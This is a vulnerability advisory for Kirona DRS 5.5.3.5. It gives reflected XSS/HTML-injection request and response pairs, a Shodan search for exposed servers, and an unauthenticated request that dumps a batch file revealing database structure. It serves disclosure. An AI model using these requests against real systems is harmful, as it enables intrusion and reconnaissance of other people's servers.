Share
# Exploit Title: Kirona-DRS 5.5.3.5 - Information Disclosure
# Discovered Date: 2019-10-03
# Shodan Search: /opt-portal/pages/login.xhtml
# Exploit Author: Ramikan
# Vendor Homepage: https://www.kirona.com/products/dynamic-resource-scheduler/
# Affected Version: DRS 5.5.3.5 may be other versions.
# Tested On Version: DRS 5.5.3.5 on PHP/5.6.14
# Vendor Fix: Unknown
# CVE: CVE-2019-17503,CVE-2019-17504
# Category: Web Apps
# Reference : https://github.com/Ramikan/Vulnerabilities/blob/master/Kirona-DRS 5.5.3.5 Multiple Vulnerabilities

# Description:
# The application is vulnerable to the HTML injection, reflected cross site scripting and sensitive data disclosure.

# Vulnerabiity 1:HTML injection and  (CVE-2019-17504)
# An issue was discovered in Kirona Dynamic Resource Scheduling (DRS) 5.5.3.5. A reflected Cross-site scripting (XSS) 
# vulnerability allows remote attackers to inject arbitrary web script via the /osm/report/ 'password' parameter.

Affected URL: /osm/report/ 

Affected Parameter: password


POST Request:

POST /osm/report/ HTTP/1.1
Host: 10.50.3.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Connection: close
Referer: https://10.50.3.148/osm/report/
Upgrade-Insecure-Requests: 1

create=true&password=&login=admin&password='<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--


Response:

HTTP/1.1 200 OK
Date: Thu, 03 Oct 2019 14:56:05 GMT
Server: Apache
X-Powered-By: PHP/5.6.14
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-WithXDomainRequestAllowed: 1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 03 Oct 2019 14:56:05 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 728
Connection: close
Content-Type: text/html;charset=UTF-8

          <html>
          <head>  
            <img src='logo.jpg'>      
            <form method='POST'>
              <input type='hidden' name='create' value='true'/>
              <input type='hidden' name='password' value=''<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--'/>
              <table>
                  <tr><td>Login:</td><td><input type='login' name='login'/></td></tr>
                  <tr><td>Password:</td><td><input type='password' name='password'/></td></tr>
                  <tr><td colspan='2'><input type='submit' value='Login'/> </td></tr>
              </table>
            </form>
          </head>
          </html>


GET Request:

GET https://10.0.1.110/osm/report/?password=%27%3C%22%20%3E%3C%3Ch1%3EHTML%20Injection-heading%20tag%20used%3C/h1%3E%3Cscript%3Ealert(%22This%20is%20Cross%20Site%20Scripting%22)%3C/script%3E%3C!-- HTTP/1.1
Host: vs-kdrs-l-01.selwoodhousing.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 03 Oct 2019 14:53:35 GMT
Server: Apache
X-Powered-By: PHP/5.6.14
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
XDomainRequestAllowed: 1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 03 Oct 2019 14:53:35 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 728
Connection: close
Content-Type: text/html;charset=UTF-8

          <html>
          <head>  
            <img src='logo.jpg'>      
            <form method='POST'>
              <input type='hidden' name='create' value='true'/>
              <input type='hidden' name='password' value=''<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--'/>
              <table>
                  <tr><td>Login:</td><td><input type='login' name='login'/></td></tr>
                  <tr><td>Password:</td><td><input type='password' name='password'/></td></tr>
                  <tr><td colspan='2'><input type='submit' value='Login'/> </td></tr>
              </table>
            </form>
          </head>
          </html> 
        

***************************************************************************************************************************
Vulnerability 2: Source code and sensitive data disclosure. (CVE-2019-17503)
***************************************************************************************************************************

An issue was discovered in Kirona Dynamic Resource Scheduling (DRS) 5.5.3.5. An unauthenticated user can access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd) directly: it contains sensitive information about the database through the SQL queries within this batch file. This file exposes SQL database information such as database version, table name, column name, etc.

Affected URL: /osm/REGISTER.cmd or /osm_tiles/REGISTER.cmd

# Request:

GET /osm/REGISTER.cmd HTTP/1.1
Host: 10.0.0.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 03 Oct 2019 09:23:54 GMT
Server: Apache
Last-Modified: Tue, 07 Nov 2017 09:27:52 GMT
ETag: "1fc4-55d612f6cae13"
Accept-Ranges: bytes
Content-Length: 8132
Connection: close

@echo off

set DEBUGMAPSCRIPT=TRUE

rem
rem Find root path and batch name
rem root path is found relative to the current batch name
rem 

rem turn to short filename (remove white spaces)
for %%i in (%0) do (
  	set SHORT_MAPSCRIPTBATCH_FILE=%%~fsi
    set MAPSCRIPTBATCH_FILE=%%~i
    
)
for %%i in (%SHORT_MAPSCRIPTBATCH_FILE%) do (
	set MAPSCRIPTROOTDIR=%%~di%%~pi..\..\..
)

if "%DEBUGMAPSCRIPT%"=="TRUE" echo MAPSCRIPTROOTDIR=%MAPSCRIPTROOTDIR%
if "%DEBUGMAPSCRIPT%"=="TRUE" echo MAPSCRIPTBATCH_FILE=%MAPSCRIPTBATCH_FILE%

rem
rem find if we are in INTERRACTIVE mode or not and check the parameters
rem 
if "%1"=="" goto INTERACTIVE
goto NONINTERRACTIVE


:NONINTERRACTIVE
rem non interractive call so catch the parameters from command line
rem this is supposed to be called from the root DRS directory

if "%2"=="" (
  echo Invalid parameter 2
  pause
  goto :EOF
)

set ACCOUNT=%2
set STATIC=NO
if "%1"=="STATIC" set STATIC=YES

if "%DEBUGMAPSCRIPT%"=="TRUE" echo Command line mode %STATIC% %ACCOUNT%

if "%1"=="STATIC" goto GLOBAL
if "%1"=="DYNAMIC" goto GLOBAL
echo Invalid parameter 1
pause
goto :EOF

:INTERACTIVE
rem Interractive mode : ask for account and static mode
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Interractive mode
echo Open Street Map setup for Xmbrace DRS
set /P ACCOUNT=Account name:
set /P STATIC=Limited map feature (YES/NO):


rem back to the setup directory
cd %MAPSCRIPTROOTDIR%

rem # READ AND DEFINE SETTINGS
for /F "tokens=1,* delims==" %%k in (conf\default.txt) do (
  if not "%%k"=="#=" set %%k=%%l
)
if exist CUSTOM\CONF\custom.txt (
  for /F "tokens=1,* delims==" %%k in (CUSTOM\CONF\custom.txt) do (
    if not "%%k"=="#=" set %%k=%%l
  )
)
for /F "tokens=1,* delims==" %%k in (conf\settings.txt) do (
  if not "%%k"=="#=" set %%k=%%l
)

if "%APACHE_USE_SSL%"=="TRUE" (
  set DEFAULT_HTTP_PROTOCOL=https
  set APACHE_USE_SSL_VALUE=true
  set DEFAULT_HTTP_PORT=%APACHE_HTTPS_PORT%
) else (
  set DEFAULT_HTTP_PROTOCOL=http
  set APACHE_USE_SSL_VALUE=false
  set DEFAULT_HTTP_PORT=%APACHE_HTTP_PORT%
)

goto GLOBAL



rem
rem good to go in a non interractive mode
rem the following is the generic par of the install, whatever we are in static or dynamic mode
rem
:GLOBAL
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Global section

set MYSQL="MYSQL\MySQL Server 5.6 MariaDB\bin\mysql.exe"

echo delete from %ACCOUNT%.asp_custom_action where CA_CAPTION in ('Show on map','Closest')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo delete from %ACCOUNT%.asp_custom_tab where NAME='Map'> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

set INSERTFIELDS=%ACCOUNT%.asp_custom_action (CA_CAPTION,CA_VIEW,CA_MODE,CA_LIST_MODE,CA_HEIGHT,CA_WIDTH,CA_RESIZABLE,CA_NEED_REFRESH,CA_PROFILES,CA_URL,CA_CUSTOM_TAB,CA_TRIGGER_MODE)

if "%STATIC%"=="YES" goto :STATIC
goto :DYNAMIC



:STATIC

if "%DEBUGMAPSCRIPT%"=="TRUE" echo Static section

echo map=static > ACCOUNTS\%ACCOUNT%\config.txt

echo ^<?php $staticMap=true; ?^>>APACHE\htdocs\osm\mode.php

echo insert into %INSERTFIELDS% values ('Journey on map','workerList','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Journey on map','workerView','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
if exist req.sql del req.sql
goto FINAL


:DYNAMIC

if "%DEBUGMAPSCRIPT%"=="TRUE" echo Dynamic section

echo map=dynamic > ACCOUNTS\%ACCOUNT%\config.txt

echo ^<?php $staticMap=false; ?^>>APACHE\htdocs\osm\mode.php

echo insert into %INSERTFIELDS% values ('Show on map','jobList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','jobView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo insert into %INSERTFIELDS% values ('Closest','jobList','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=closest','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Closest','jobView','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=closest','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo insert into %INSERTFIELDS% values ('Show on map','workerList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','workerView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo insert into %INSERTFIELDS% values ('Journey on map','workerList','modal','mandatory',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
rem %MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo insert into %INSERTFIELDS% values ('Show on map','customerList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','customerView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo insert into %INSERTFIELDS% values ('Show on map','serviceOrderList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','serviceOrderView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

echo insert into %INSERTFIELDS% values ('Show on map','planning','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql


set INSERTFIELDS=%ACCOUNT%.asp_custom_tab (NAME,POSITION,ADMIN,URL,WIDTH,HEIGHT)

echo insert into %INSERTFIELDS% values ('Map',0,'false','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%','100%%','100%%')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql

if exist req.sql del req.sql
goto FINAL


:FINAL
echo Map registred for %ACCOUNT%
if "%1"=="" pause
goto :EOF